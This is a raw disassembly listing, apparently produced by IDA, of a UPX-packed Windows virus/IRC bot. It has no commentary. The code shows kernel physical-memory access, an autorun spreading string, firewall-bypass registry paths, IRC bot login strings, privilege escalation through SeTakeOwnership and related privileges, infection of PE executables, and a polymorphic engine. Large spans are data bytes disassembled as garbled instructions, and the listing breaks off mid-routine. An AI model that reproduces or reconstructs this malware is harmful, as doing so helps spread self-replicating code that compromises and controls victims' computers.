--------------------------------------------------------------------------- aDevicePhysical db '\Device\PhysicalMemory',0 ; --------------------------------------------------------------------------- pop esp push edx push ebp dec esi inc esp dec esp dec esp xor esi, [edx] db 2Eh inc ebp pop eax inc ebp add [ebx], dh ror byte ptr [ebx-2609AD31h], cl push edx and ecx, 3 push 40h add edi, ecx push edi push edx push 18h lea esi, [ebp+123529E5h] mov ecx, 17h lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah loc_48B95F: ; CODE XREF: UPX2:0048B962j lodsb stosw loop loc_48B95F lea edx, [ebp+12356086h] push esp push 6 push edx call dword ptr [ebp+12352390h] mov esi, [esp+8] add esp, 18h test eax, eax jnz locret_48BB9F push 0 push 120h push esi push 0Bh call dword ptr [ebp+123523A0h] mov ebx, [esi+0Ch] mov ecx, [esi+10h] mov [ebp+1235608Eh], ebx mov [ebp+12356092h], ecx and ebx, 0FFFF000h push ecx push ebx push 0 push 6 push dword ptr [ebp+12356086h] call dword ptr [ebp+123522ECh] push eax push dword ptr [ebp+12356086h] call dword ptr [ebp+12352288h] pop eax test eax, eax xchg eax, ebx jz locret_48BB9F cmp word ptr [ebx], 5A4Dh jz short loc_48B9E7 loc_48B9DB: ; CODE XREF: UPX2:0048BA5Cj ; UPX2:0048BA89j ... push ebx call dword ptr [ebp+12352318h] jmp locret_48BB9F ; --------------------------------------------------------------------------- loc_48B9E7: ; CODE XREF: UPX2:0048B9D9j lea edi, [esi+0C8h] movzx ecx, word ptr [esi+1Eh] lea esi, [ecx+esi+1Fh] push 104h push edi call dword ptr [ebp+123522C4h] lea edx, [ebp+123529FCh] push eax push edx push edi call dword ptr [ebp+12352270h] xor eax, eax push eax push eax push 3 push eax push 1 push 80000000h push edi call dword ptr [ebp+12352290h] push eax call dword ptr [ebp+12352288h] pop eax mov byte ptr [eax+edi], 0 push esi push edi call dword ptr [ebp+12352270h] mov eax, [ebx+3Ch] add eax, ebx mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] lea esi, [ebx+esi] push ecx loc_48BA4D: ; CODE XREF: UPX2:0048BA59j lodsd add eax, ebx cmp dword ptr [eax+1], 72655365h jz short loc_48BA61 loop loc_48BA4D pop ecx jmp loc_48B9DB ; --------------------------------------------------------------------------- loc_48BA61: ; CODE XREF: UPX2:0048BA57j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx mov edx, [edx+1Ch] movzx eax, word ptr [esi+ecx*2] add edx, ebx mov esi, [edx+eax*4] add esi, ebx mov ecx, [esi+8] mov [ebp+12356096h], esi mov esi, [esi] cmp esi, [ebp+1235608Eh] jb loc_48B9DB sub esi, [ebp+1235608Eh] cmp esi, [ebp+12356092h] jnb loc_48B9DB xor eax, eax mov [ebp+1235609Ah], esi mov [ebp+1235609Eh], ecx push eax push eax push 3 push eax push 1 push 80000000h push edi inc dword ptr [ebp+12351642h] call dword ptr [ebp+12352290h] dec dword ptr [ebp+12351642h] cmp eax, 0FFFFFFFFh jz loc_48B9DB mov [ebp+12356086h], eax mov eax, [ebx+3Ch] add eax, ebx movzx edx, word ptr [eax+14h] movzx ecx, word ptr [eax+6] lea eax, [edx+eax+18h] loc_48BAEE: ; CODE XREF: UPX2:0048BAFFj mov edx, [eax+0Ch] cmp edx, esi ja short loc_48BAFC add edx, [eax+10h] cmp edx, esi ja short loc_48BB12 loc_48BAFC: ; CODE XREF: UPX2:0048BAF3j add eax, 28h loop loc_48BAEE push dword ptr [ebp+12356086h] call dword ptr [ebp+12352288h] jmp loc_48B9DB ; --------------------------------------------------------------------------- loc_48BB12: ; CODE XREF: UPX2:0048BAFAj sub esi, [eax+0Ch] push 0 add esi, [eax+14h] push 0 push esi push dword ptr [ebp+12356086h] call dword ptr [ebp+12352308h] mov eax, [ebp+1235609Eh] shl eax, 2 push eax push eax push 0 call dword ptr [ebp+123522E4h] mov [ebp+1235608Ah], eax mov edx, esp push 0 push edx push dword ptr [edx] push eax push dword ptr [ebp+12356086h] call dword ptr [ebp+123522FCh] mov eax, [ebp+12356086h] mov [esp], eax call dword ptr [ebp+12352288h] mov edx, [ebx+3Ch] mov esi, [ebp+1235608Ah] mov edx, [edx+ebx+34h] mov edi, esi sub edx, [ebp+1235608Eh] mov ecx, [ebp+1235609Eh] loc_48BB80: ; CODE XREF: UPX2:0048BB84j lodsd sub eax, edx stosd loop loc_48BB80 lea eax, [ebp+1235299Eh] push ecx push ecx push ebx push eax push ecx push ecx call dword ptr [ebp+123522A0h] push eax call dword ptr [ebp+12352288h] locret_48BB9F: ; CODE XREF: UPX2:0048B97Dj ; UPX2:0048B9CEj ... retn ; --------------------------------------------------------------------------- aAutorunOpenS db '[autorun]',0Dh,0Ah db 'open=è',0 align 4 dd 0ED815D00h, 12352C96h, 320EC81h, 0FC8B0000h, 0FA068h dd 1495FF00h, 80123523h, 355F52BDh, 0EC740012h, 3A4407C7h dd 0FF57005Ch, 3522B095h, 74023C12h, 5A3F8009h, 7FED674h dd 0C933ECEBh, 5B80858Dh, 51511235h, 5151308Bh, 57515150h dd 22DC95FFh, 0C0851235h, 0B539DB74h, 12355B80h, 1E8AE74h dd 7400002Ah, 80B5890Dh, 0E812355Bh, 2A0Eh, 0B78D9AEBh dd 104h, 5F52858Dh, 6C61235h, 0FF565000h, 35227095h, 29F0E812h dd 0D68B0000h, 3880C68Bh, 400B7400h, 5CFF7880h, 0D08BF475h dd 9589F0EBh, 123560A6h, 95FF5752h, 12352270h, 11CC681h dd 4680000h, 56000001h, 22C495FFh, 858D1235h, 123529FCh dd 95FF5650h, 12352270h, 5657006Ah, 228C95FFh, 0C0851235h dd 0FF2A840Fh, 226AFFFFh, 495FF57h, 0C7123523h, 55410347h dd 47C74F54h, 4E555207h, 0B47C72Eh, 464E49h, 8068006Ah dd 6A000000h, 6A006A02h, 6801h, 0FF574000h, 35229095h dd 0FC08512h, 0FFFEEB84h, 81958DFFh, 9312352Ch, 6857006Ah dd 10h, 95FF5352h, 12352320h, 0FF57006Ah, 3560A6B5h, 8095FF12h dd 50123522h, 60A6B5FFh, 0FF531235h, 35232095h, 95FF5312h dd 12352288h, 0FFFEABE9h, 3A7325FFh, 6E653A2Ah, 656C6261h dd 73403A64h, 6C6C6568h, 642E3233h, 2D2C6C6Ch, 59530031h dd 4D455453h, 7275435Ch, 746E6572h, 746E6F43h, 536C6F72h dd 535C7465h, 69767265h, 5C736563h, 72616853h, 63416465h dd 73736563h, 7261505Ch, 74656D61h, 5C737265h, 65726946h dd 6C6C6177h, 696C6F50h, 535C7963h, 646E6174h, 50647261h dd 69666F72h, 415C656Ch, 6F687475h, 657A6972h, 70704164h dd 6163696Ch, 6E6F6974h, 694C5C73h, 53007473h, 5754464Fh dd 5C455241h, 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh dd 75435C73h, 6E657272h, 72655674h, 6E6F6973h, 7078455Ch dd 65726F6Ch, 70550072h, 65746164h, 74736F48h, 0FF000200h dd 740C79F0h, 6372698Eh, 65697A2Eh, 6C702E66h, 6F727000h dd 2E6D6978h, 67637269h, 78616C61h, 6C702E79h, 8 dup(0) db 0 aNickYgmwjrujUs db 'NICK ygmwjruj',0Ah db 'USER iI',0 aV db '‚',0 db 8Dh, 1, 9Dh dd 6801F601h, 4, 94B70F59h, 352F264Dh, 2A843112h, 12351000h dd 0ED79C9FEh, 8C958DC3h, 5012352Eh, 6A016A54h, 1685200h dd 0FF800000h, 355C3495h, 5AC08512h, 8D8D2275h, 12352EBFh dd 8D066A52h, 352ECCB5h, 50565412h, 0FF525150h, 355C3895h dd 95FF5812h, 12355C30h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_48BEA9 proc near ; CODE XREF: sub_48B6FE+60p lea edx, [ebp+12352E8Ch] push eax push esp push 2 push 0 push edx push 80000001h call dword ptr [ebp+12355C34h] test eax, eax pop edx jnz short loc_48BEE8 lea ecx, [ebp+12352EBFh] push edx lea eax, [ebp+12352ECCh] push 6 push eax push 3 push 0 push ecx push edx call dword ptr [ebp+12355C3Ch] call dword ptr [ebp+12355C30h] loc_48BEE8: ; CODE XREF: sub_48BEA9+1Bj mov byte ptr [ebp+123534C4h], 23h retn sub_48BEA9 endp ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 12352FD7h mov byte ptr [ebp+12355F52h], 0 mov byte ptr [ebp+12351639h], 0 cmp dword ptr [ebp+12355B84h], 0 jz short loc_48BF62 push 1Eh mov esi, [ebp+12355B84h] pop ecx loc_48BF1D: ; CODE XREF: UPX2:loc_48BF4Cj lodsb cmp al, 2Eh jnz short loc_48BF4C cmp word ptr [esi], 1DFFh jnz short loc_48BF4C lea edi, [ebp+12355C44h] mov esi, [esi+2] push edi movsd movsw lea eax, [ebp+12355723h] pop dword ptr [ebp+12355749h] cli mov [esi-6], eax mov word ptr [esi-2], cs sti mov cl, 1 loc_48BF4C: ; CODE XREF: UPX2:0048BF20j ; UPX2:0048BF27j loop loc_48BF1D lea esi, [ebp+12355C4Eh] push 104h push esi call dword ptr [ebp+123522E0h] jmp short near ptr loc_48BFDD+2 ; --------------------------------------------------------------------------- loc_48BF62: ; CODE XREF: UPX2:0048BF12j call sub_48B3E9 cmp dword ptr [esp+8], 4 jnz short loc_48BFB4 call near ptr loc_48BF7A+1 push ebx inc esi inc ebx db 2Eh inc esp dec esp dec esp loc_48BF7A: ; CODE XREF: UPX2:0048BF6Ep add bh, bh xchg eax, ebp insb and dh, ds:74C00B12h adc al, 6Ah add dl, [eax-18h] add esi, esi ; --------------------------------------------------------------------------- db 0FFh dd 6C95FFFFh, 8512355Bh, 0FF0274C0h, 0BE8D0h, 46530000h dd 534F5F43h, 4C4C442Eh, 6C95FF00h, 0E8123522h, 0FFFFF5DAh ; --------------------------------------------------------------------------- loc_48BFB4: ; CODE XREF: UPX2:0048BF6Cj lea esi, [ebp+12355C4Eh] push 104h push esi call dword ptr [ebp+123522C4h] call near ptr loc_48BFD7+1 pop esp inc esp push edx dec ecx push esi inc ebp push edx push ebx pop esp inc ebp push esp inc ebx loc_48BFD7: ; CODE XREF: UPX2:0048BFC6p add [esi-1], dl xchg eax, ebp jo short loc_48BFFF loc_48BFDD: ; CODE XREF: UPX2:0048BF60j xor eax, 7E812h ; --------------------------------------------------------------------------- dw 0 dd 534F485Ch, 56005354h, 227095FFh, 0C9331235h, 36A5151h dd 68006A51h db 3 dup(0) ; --------------------------------------------------------------------------- loc_48BFFF: ; CODE XREF: UPX2:0048BFDBj inc eax push esi call dword ptr [ebp+12352290h] cmp eax, 0FFFFFFFFh jz short loc_48C02F push eax lea edx, [ebp+12355C4Eh] lea ecx, [ebp+12353EA3h] push 0 push edx push 18h push ecx push eax call dword ptr [ebp+12352320h] call dword ptr [ebp+12352288h] loc_48C02F: ; CODE XREF: UPX2:0048C00Aj call near ptr loc_48C03E+1 push ebp push ebx inc ebp push edx xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_48C03E: ; CODE XREF: UPX2:loc_48C02Fp add bh, bh xchg eax, ebp call near ptr 0E85AF568h or al, [eax] ; --------------------------------------------------------------------------- dd 73770000h, 6E697270h, 416674h, 6C95FF50h, 8D12355Bh dd 3521408Dh, 0FC858912h, 5112355Bh, 22E895FFh, 68931235h dd 4, 23DCB58Dh, 8D591235h, 355C30BDh, 0EF45E812h, 8155FFFFh dd 351005C5h, 0DF24E812h, 0FF5DFFFFh, 3522D095h, 0AA858912h dd 8B123560h, 35113785h, 0FDA5E812h, 310FFFFFh, 11378589h dd 85001235h, 123511CBh, 0FFFD92E8h, 51C933FFh, 1000B58Dh dd 0B70F1235h, 1F908D84h, 0B60F1235h, 1F928D8Ch, 0F0031235h dd 239DE851h, 56A0000h, 0F510E858h, 0D20AFFFFh, 0F1030474h dd 0BD8D1DEBh, 12355C4Eh, 0A4F35651h, 237EE8h, 0A4F35F00h dd 0B58D5759h, 12355C4Eh, 595EA4F3h, 0FE59CAE2h, 0FF980C1h dd 646AA972h, 0F4D8E858h, 0D285FFFFh, 0BD8D0D75h, 123510BAh dd 0DBE804B1h, 6AFFFFF4h, 0BFE85820h, 33FFFFF4h, 95BB0FC9h dd 12353E91h, 60A2858Dh, 51511235h, 51505151h, 95FF5151h dd 123522DCh, 60A2858Bh, 0BD801235h, 12351631h, 89087400h dd 35164E85h, 3B0FEB12h, 35164E85h, 0C6077412h, 3534C485h dd 8DFF2312h, 1235137Dh, 5B84BD83h, 75001235h, 0CE874h dd 48530000h, 5041574Ch, 4C442E49h, 95FF004Ch, 123522E8h dd 0CE8h, 53485300h, 61567465h, 4165756Ch, 95FF5000h, 12355B6Ch dd 4EB58D93h, 6812355Ch, 0C8h, 0FF006A56h, 3522C095h, 0FA958D12h dd 8D12352Dh, 355D16BDh, 57525612h, 5BFC95FFh, 0C4831235h dd 17958D0Ch, 5012352Eh, 56016A57h, 26852h, 0D3FF8000h dd 0FFF72CE8h, 9185F7FFh, 1012353Eh, 74000000h, 50C9331Eh dd 2C91958Dh, 51541235h, 51515251h, 22A095FFh, 4891235h dd 8895FF24h, 0E8123522h, 0Ch, 434F5357h, 2E32334Bh, 4C4C44h dd 22E895FFh, 68931235h, 7, 23ACB58Dh, 8D591235h, 355C00BDh dd 0ED75E812h, 0CE8FFFFh, 57000000h, 4E494E49h, 442E5445h dd 0FF004C4Ch, 3522E895h, 0FC08512h, 2BE84h, 5689300h dd 8D000000h, 3523C8B5h, 0BD8D5912h, 12355C1Ch, 0FFED3EE8h dd 20BD83FFh, 12355Ch, 299840Fh, 0EC810000h, 190h, 1016854h dd 95FF0000h, 12355C00h, 190C481h, 8B500000h, 52006AD4h dd 5C2095FFh, 0C0851235h, 680D7559h, 1388h, 231495FFh dd 0E2EB1235h, 0CC85C766h, 0FF12352Eh, 0CEA583F0h, 12352Eh dd 2ED2BD8Dh, 0FF571235h, 355C0C95h, 75C08512h, 95FF5724h dd 12352280h, 1387C8Dh, 75003F80h, 0FB63E8E5h, 0BD83FFFFh dd 12352ECEh, 7840F00h, 0EB000002h, 0C408B0Dh, 30FF008Bh dd 2ECE858Fh, 6A1235h, 26A016Ah, 5C1895FFh, 0F8831235h dd 0E3840FFFh, 93000001h, 2ECA958Dh, 106A1235h, 95FF5352h dd 12355C08h, 850FC085h, 1C3h, 0E8FFC883h, 0FFFFF29Eh dd 17BD8D42h, 8912352Fh, 3561ED95h, 0F585C612h, 123561h dd 61F19589h, 85C61235h, 123561F6h, 0E808B100h, 0FFFFF28Ah dd 9468h, 0E62B5E00h, 54243489h, 22D895FFh, 0BD8D1235h dd 12352F25h, 6BE801B1h, 8DFFFFF2h, 352F1295h, 68006A12h dd 14h, 0C9E85352h, 8DFFFFF4h, 8D142444h, 3560A295h, 0B60F5012h dd 24448B0Ah, 8E0C114h, 12014A02h, 4A12024Ah, 24440B03h dd 0FE18008h, 5108E0C1h, 1024440Bh, 236A32FFh, 4EBD8D50h dd 0E812355Ch, 1Ch ; --------------------------------------------------------------------------- and eax, 2078362Eh and cs:[esi], ch and [edx], bh and eax, 382E2563h js short near ptr loc_48C423+3 js short loc_48C423 and eax, 4F4A0A73h dec ecx dec esi and [eax], al push edi call dword ptr [ebp+12355BFCh] add esp, 0B0h push 0 push eax push edi push ebx call sub_48B87C loc_48C423: ; CODE XREF: UPX2:0048C401j ; UPX2:0048C3FFj mov ecx, [ebp+12351632h] push 0 imul ecx, 0Dh push ecx call near ptr loc_48C436+4 and ebp, [esi] loc_48C436: ; CODE XREF: UPX2:0048C42Fp and eax, 57000A64h call dword ptr [ebp+12355BFCh] add esp, 0Ch push eax push edi push ebx call sub_48B87C test eax, eax jle loc_48C513 lea esi, [ebp+12355C4Eh] loc_48C45A: ; CODE XREF: UPX2:0048C4DEj ; UPX2:0048C501j ... lea ecx, [ebp+12355E4Dh] sub ecx, esi push 0 push ecx push esi push ebx call dword ptr [ebp+12355C10h] cmp eax, 0 jle loc_48C513 mov ecx, eax mov edi, esi loc_48C47A: ; CODE XREF: UPX2:0048C49Fj mov edx, [ebp+123561EDh] xor [esi], dl ror edx, 8 inc byte ptr [ebp+123561F5h] and byte ptr [ebp+123561F5h], 1 jnz short loc_48C497 imul edx, 0Dh loc_48C497: ; CODE XREF: UPX2:0048C492j inc esi mov [ebp+123561EDh], edx dec eax jnz short loc_48C47A lea esi, [ebp+12355C4Eh] loc_48C4A7: ; CODE XREF: UPX2:0048C4BBj mov al, 0Dh repne scasb jnz short loc_48C4BD pusha call sub_48B6FE popa jb short loc_48C513 jecxz short loc_48C4C1 lea esi, [edi+1] jmp short loc_48C4A7 ; --------------------------------------------------------------------------- loc_48C4BD: ; CODE XREF: UPX2:0048C4ABj mov ecx, edi sub ecx, esi loc_48C4C1: ; CODE XREF: UPX2:0048C4B6j lea edi, [ebp+12355C4Eh] rep movsb xchg esi, edi mov ecx, 0Ah loc_48C4D0: ; CODE XREF: UPX2:0048C4EEj call sub_48E61C push eax call sub_48E636 pop eax test eax, eax jz loc_48C45A push ecx push 64h call dword ptr [ebp+12352314h] pop ecx loop loc_48C4D0 call dword ptr [ebp+123522D0h] sub eax, [ebp+123560AAh] cmp eax, 0EA60h jb loc_48C45A and dword ptr [ebp+12351642h], 0 jmp loc_48C45A ; --------------------------------------------------------------------------- loc_48C513: ; CODE XREF: UPX2:0048C44Ej ; UPX2:0048C470j ... push ebx call dword ptr [ebp+12355C04h] cmp byte ptr [ebp+12351639h], 1 jz short loc_48C533 push 7530h call dword ptr [ebp+12352314h] jmp near ptr dword_48C048+26Ah ; --------------------------------------------------------------------------- loc_48C533: ; CODE XREF: UPX2:0048C521j pop ebp retn 4 ; --------------------------------------------------------------------------- pusha and dword ptr [ebp+123560D6h], 0 and dword ptr [ebp+123560DAh], 0 movzx eax, word ptr [ebx+14h] lea edx, [ebx+18h] movzx ecx, word ptr [ebx+6] add edx, eax loc_48C553: ; CODE XREF: UPX2:0048C578j mov eax, [esp+24h] sub eax, [edx+0Ch] jb short loc_48C575 cmp eax, [edx+8] jnb short loc_48C575 mov eax, [edx+14h] sub eax, [edx+0Ch] mov [ebp+123560D6h], edx mov [ebp+123560DAh], eax jmp short loc_48C57A ; --------------------------------------------------------------------------- loc_48C575: ; CODE XREF: UPX2:0048C55Aj ; UPX2:0048C55Fj add edx, 28h loop loc_48C553 loc_48C57A: ; CODE XREF: UPX2:0048C573j popa retn 4 ; --------------------------------------------------------------------------- dw 8357h db 0BDh ; ½ db 84h, 5Bh, 35h db 12h align 2 dw 850Fh db 1Ah db 1, 2 dup(0) db 50h ; P db 54h, 6Ah, 28h db 6Ah ; j db 2 dup(0FFh), 95h db 8Ch ; Œ db 23h, 35h, 12h db 85h ; … db 0C0h, 5Fh, 0Fh db 88h ; ˆ db 5, 1, 0 db 0 db 0E8h, 0B4h, 0EAh db 0FFh db 0FFh, 0E8h, 11h db 0 db 2 dup(0), 53h aEtfilesecurity db 'etFileSecurityA',0 db 0FFh db 0B5h, 0F0h, 5Bh db 35h ; 5 db 12h, 0FFh, 95h db 6Ch ; l db 5Bh, 35h, 12h db 89h ; ‰ db 85h, 0F8h, 5Bh db 35h ; 5 db 12h, 0E8h, 19h db 0 db 2 dup(0), 53h aEtakeownership db 'eTakeOwnershipPrivilege',0 db 57h ; W db 0E8h, 19h, 0EDh db 0FFh db 0FFh, 0E8h, 13h db 0 db 2 dup(0), 53h aErestoreprivil db 'eRestorePrivilege',0 dw 0E857h db 0FBh ; û db 0ECh, 2 dup(0FFh) db 0E8h ; è db 12h, 2 dup(0) db 0 aSebackupprivil db 'SeBackupPrivilege',0 db 57h db 0E8h ; è db 0DEh, 0ECh, 0FFh db 0FFh db 0E8h, 18h, 0 db 0 align 2 aSechangenotify db 'SeChangeNotifyPrivilege',0 dw 0E857h ; --------------------------------------------------------------------------- mov ebx, 50FFFFECh push esp lea eax, [ebp+12355B8Ch] push 64h push eax push 1 push edi call dword ptr [ebp+1235239Ch] mov [esp], edi call dword ptr [ebp+12352288h] sub al, al lea edi, [ebp+12355E4Eh] push eax push eax push eax push dword ptr [ebp+12355B8Ch] push 40001h push esp push 1 push edi call dword ptr [ebp+12355BF8h] push esp push 4 push edi call dword ptr [ebp+12355BF8h] add esp, 14h push dword ptr [ebp+12355BF0h] call dword ptr [ebp+123522ACh] pop edi retn ; --------------------------------------------------------------------------- lea esi, [ebp+12355E4Eh] test ebx, ebx jz short loc_48C6D7 push esi call dword ptr [ebp+123522B4h] cmp eax, 0FFFFFFFFh jz short loc_48C6D7 mov [ebp+12356056h], eax push 0 push esi call dword ptr [ebp+12352304h] test eax, eax jz short loc_48C6D7 inc byte ptr [ebp+123560FAh] loc_48C6D7: ; CODE XREF: UPX2:0048C6B0j ; UPX2:0048C6BCj ... sub eax, eax push eax push eax push 3 push eax or ebx, ebx jnz short loc_48C6F4 cmp dword ptr [ebp+12355B84h], 0 jnz short loc_48C6F4 push 3 push 80000000h jmp short loc_48C6FB ; --------------------------------------------------------------------------- loc_48C6F4: ; CODE XREF: UPX2:0048C6E0j ; UPX2:0048C6E9j push 1 push 0C0000000h loc_48C6FB: ; CODE XREF: UPX2:0048C6F2j push esi call dword ptr [ebp+12352290h] cmp eax, 0FFFFFFFFh jz loc_48DC4F mov [ebp+1235605Ah], eax test ebx, ebx jz short loc_48C736 lea ecx, [ebp+1235605Eh] lea edx, [ebp+12356066h] push ecx push edx push 0 push eax call dword ptr [ebp+123522BCh] test eax, eax jz short loc_48C736 inc byte ptr [ebp+123560FBh] loc_48C736: ; CODE XREF: UPX2:0048C713j ; UPX2:0048C72Ej push 0 push dword ptr [ebp+1235605Ah] call dword ptr [ebp+123522B8h] cmp eax, 0FFFFFFFFh jz loc_48DC0B mov [ebp+1235606Eh], eax xor ecx, ecx add eax, ebx push ecx push eax push ecx or ebx, ebx jnz short loc_48C767 cmp dword ptr [ebp+12355B84h], 0 jz short loc_48C76B loc_48C767: ; CODE XREF: UPX2:0048C75Cj push 4 jmp short loc_48C76D ; --------------------------------------------------------------------------- loc_48C76B: ; CODE XREF: UPX2:0048C765j push 2 loc_48C76D: ; CODE XREF: UPX2:0048C769j push ecx push dword ptr [ebp+1235605Ah] call dword ptr [ebp+12352294h] test eax, eax jz loc_48DC0B xor ecx, ecx mov [ebp+12356072h], eax push ecx push ecx push ecx test ebx, ebx or ebx, ebx jnz short loc_48C79C cmp dword ptr [ebp+12355B84h], 0 jz short loc_48C7A3 loc_48C79C: ; CODE XREF: UPX2:0048C791j push 0F001Fh jmp short loc_48C7A8 ; --------------------------------------------------------------------------- loc_48C7A3: ; CODE XREF: UPX2:0048C79Aj push 0F001Dh loc_48C7A8: ; CODE XREF: UPX2:0048C7A1j push eax call dword ptr [ebp+123522ECh] test eax, eax jz loc_48DBDA mov [ebp+12356076h], eax retn ; --------------------------------------------------------------------------- mov eax, [ebp+12351EAFh] mov ecx, [ebx+38h] xor edx, edx lea eax, [ecx+eax-1] div ecx mul ecx mov [ebp+12356082h], eax mov ecx, [ebx+3Ch] mov eax, [ebp+12351EAFh] xor edx, edx lea eax, [ecx+eax-1] div ecx mul ecx mov [ebp+1235607Ah], eax retn ; --------------------------------------------------------------------------- movzx ecx, word ptr [ebx+6] stc loc_48C7F6: ; CODE XREF: UPX2:0048C815j jecxz short locret_48C83A lea edx, [ebx+18h] movzx eax, word ptr [ebx+14h] add edx, eax dec ecx imul eax, ecx, 28h add edx, eax cmp dword ptr [edx], 6E69775Fh stc jz short locret_48C83A dec ecx cmp dword ptr [edx+0Ch], 1 jb short loc_48C7F6 mov eax, [ebp+1235606Eh] mov ecx, [ebx+3Ch] sub eax, [edx+14h] dec ecx push eax mov eax, [edx+10h] lea eax, [eax+ecx*2+1] add [esp], ecx not ecx and eax, ecx and [esp], ecx cmp eax, [esp] pop eax locret_48C83A: ; CODE XREF: UPX2:loc_48C7F6j ; UPX2:0048C80Ej retn ; --------------------------------------------------------------------------- align 4 add [edx], eax add eax, [esi] pop es add eax, 0D30204B2h ; CODE XREF: UPX2:loc_48C98Cp ; UPX2:0048C9D9p ... add dl, bl add dl, bl mov al, 0 loc_48C84C: ; CODE XREF: UPX2:loc_48C857j dec dl js short loc_48C859 bt ecx, edx jnb short loc_48C857 inc al loc_48C857: ; CODE XREF: UPX2:0048C853j jmp short loc_48C84C ; --------------------------------------------------------------------------- loc_48C859: ; CODE XREF: UPX2:0048C84Ej call near ptr dword_48B554+9Bh xor edx, edx loc_48C860: ; CODE XREF: UPX2:0048C86Aj bt ecx, edx jnb short loc_48C869 dec al js short loc_48C86C loc_48C869: ; CODE XREF: UPX2:0048C863j inc edx jmp short loc_48C860 ; --------------------------------------------------------------------------- loc_48C86C: ; CODE XREF: UPX2:0048C867j or bl, bl jnz short loc_48C880 push edx mov al, 2 call sub_48B5F6 shl edx, 2 pop eax add eax, edx jmp short locret_48C887 ; --------------------------------------------------------------------------- loc_48C880: ; CODE XREF: UPX2:0048C86Ej mov al, [edx+ebp+1235391Ch] locret_48C887: ; CODE XREF: UPX2:0048C87Ej ; UPX2:0048C8D0j retn ; --------------------------------------------------------------------------- clc stc cmc cwde cdq lahf aaa aas add al, 40h inc ecx inc edx inc ebx inc ebp inc esi inc edi inc esp add eax, 83828180h test [esi-3FCC7B79h], eax loc_48C8A4: ; CODE XREF: UPX2:0048C8C7j movzx edx, word ptr [eax+ebp+12351FCCh] lea edx, [ebp+edx+12351000h] cmp edx, esi ja short loc_48C8C9 movzx ecx, word ptr [eax+ebp+12351FCEh] add eax, 4 cmp eax, 0E0h jb short loc_48C8A4 loc_48C8C9: ; CODE XREF: UPX2:0048C8B5j ; UPX2:0048CD12j cmp dword ptr [ebp+123560D2h], 0 jz short locret_48C887 test cl, 7Fh jnz short loc_48C8DB push 2 jmp short loc_48C8DD ; --------------------------------------------------------------------------- loc_48C8DB: ; CODE XREF: UPX2:0048C8D5j push 5 loc_48C8DD: ; CODE XREF: UPX2:0048C8D9j cmp dword ptr [ebp+123560D2h], 1 pop eax jz short loc_48C8F0 call near ptr dword_48B554+9Bh cmp al, 0 jnz short loc_48C966 loc_48C8F0: ; CODE XREF: UPX2:0048C8E5j test cl, 80h setnz al add al, 3 imul eax, 3 call near ptr dword_48B554+9Bh cmp al, 4 jnb short loc_48C908 mov al, 90h jmp short loc_48C964 ; --------------------------------------------------------------------------- loc_48C908: ; CODE XREF: UPX2:0048C902j cmp al, 7 jnb short loc_48C910 mov al, 0FCh jmp short loc_48C964 ; --------------------------------------------------------------------------- loc_48C910: ; CODE XREF: UPX2:0048C90Aj cmp al, 9 jnb short loc_48C95D test cl, 1 jz short loc_48C94A test cl, 80h setnz al add al, al add al, 6 call near ptr dword_48B554+9Bh cmp al, 5 jnb short loc_48C941 test cl, 4 setnz al inc eax call near ptr dword_48B554+9Bh mov al, [eax+ebp+1235396Ch] jmp short loc_48C964 ; --------------------------------------------------------------------------- loc_48C941: ; CODE XREF: UPX2:0048C92Aj mov al, [eax+ebp+12353969h] jmp short loc_48C964 ; --------------------------------------------------------------------------- loc_48C94A: ; CODE XREF: UPX2:0048C917j test cl, 80h setnz al inc eax call near ptr dword_48B554+9Bh imul eax, 3 add al, 9Bh jmp short loc_48C964 ; --------------------------------------------------------------------------- loc_48C95D: ; CODE XREF: UPX2:0048C912j mov al, [eax+ebp+12353960h] loc_48C964: ; CODE XREF: UPX2:0048C906j ; UPX2:0048C90Ej ... stosb retn ; --------------------------------------------------------------------------- loc_48C966: ; CODE XREF: UPX2:0048C8EEj push ebx mov al, 2 call near ptr dword_48B554+9Bh mov bl, al mov al, 7Fh or bl, bl jnz short loc_48C978 mov al, 0Fh loc_48C978: ; CODE XREF: UPX2:0048C974j test cl, al setz byte ptr [ebp+12356103h] jnz short loc_48C98C mov al, 8 call near ptr dword_48B554+9Bh jmp short loc_48C991 ; --------------------------------------------------------------------------- loc_48C98C: ; CODE XREF: UPX2:0048C981j call near ptr loc_48C841+1 loc_48C991: ; CODE XREF: UPX2:0048C98Aj mov bh, al test cl, 80h setnz al inc eax call near ptr dword_48B554+9Bh cmp al, 1 jz loc_48CB7D cmp byte ptr [ebp+12356103h], 1 jnz short loc_48C9BC cmp dword ptr [ebp+123560D2h], 4 setnb al jmp short loc_48C9BE ; --------------------------------------------------------------------------- loc_48C9BC: ; CODE XREF: UPX2:0048C9AEj mov al, 2 loc_48C9BE: ; CODE XREF: UPX2:0048C9BAj add al, 3 call near ptr dword_48B554+9Bh cmp al, 4 jnz short loc_48CA05 cmp bl, 1 jnz short loc_48C9E0 cmp dword ptr [ebp+123560D2h], 5 jnb short loc_48C9E0 mov bl, 0 call near ptr loc_48C841+1 mov bh, al loc_48C9E0: ; CODE XREF: UPX2:0048C9CCj ; UPX2:0048C9D5j mov al, bl add al, 16h mov byte ptr [ebp+12353AE0h], 0AAh shl eax, 3 add al, bh add [ebp+12353AE0h], bl stosb or eax, 0FFFFFFFFh call near ptr dword_48B554+9Bh stosb jmp loc_48CB7B ; --------------------------------------------------------------------------- loc_48CA05: ; CODE XREF: UPX2:0048C9C7j cmp al, 3 jnz short loc_48CA21 mov al, 0F6h mov ah, 0D0h add al, bl add ah, bh mov cl, [ebp+12356103h] inc cl rep stosw jmp loc_48CB7B ; --------------------------------------------------------------------------- loc_48CA21: ; CODE XREF: UPX2:0048CA07j cmp al, 2 jnz short loc_48CAA4 cmp byte ptr [ebp+12356103h], 1 jnz short loc_48CA55 cmp dword ptr [ebp+123560D2h], 4 jnb short loc_48CA4C mov al, 89h stosb movzx eax, bh lea eax, [eax+eax*8+0C0h] stosb jmp loc_48CB7B ; --------------------------------------------------------------------------- jmp short loc_48CA5A ; --------------------------------------------------------------------------- loc_48CA4C: ; CODE XREF: 